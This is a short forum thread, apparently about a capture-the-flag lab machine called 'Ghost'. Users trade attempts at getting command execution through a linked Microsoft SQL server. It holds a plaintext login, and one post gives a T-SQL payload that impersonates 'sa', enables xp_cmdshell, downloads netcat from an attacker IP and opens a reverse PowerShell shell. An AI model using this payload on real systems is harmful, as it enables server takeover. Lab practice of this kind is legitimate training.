[snowydecember]

Het I'm trying to solve the Ghost machine and stuck at trying to execute a command in mssql

impacket-mssqlclient florence.ramirez:'uxLmt*udNc6t3HrF'@Ghost.htb -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*]Encryption required, switching to TLS
[*]ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*]ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*]ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*]INFO(DC01): Line 1: Changed database context to 'master'.
[*]INFO(DC01): Line 1: Changed language setting to us_english.
[*]ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.
SQL (GHOST\florence.ramirez  guest@master)>

someone mentioned on the thread you need to exploit SQL Injection through the web panel. Is anyone aware of the exact command to enter on that web panel at https://core.ghost.htb:8443?

[snowydecember]

figured it out

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; RECONFIGURE; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''echo IWR http://10.10.x.x:[Port]/nc64.exe -Outfile %TEMP%\nc64.exe | powershell -noprofile''; EXEC xp_cmdshell ''%TEMP%\nc64.exe 10.10.x.x [another_port] -e powershell.exe''') AT "PRIMARY";

[xssl4b]

that doesnt work ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.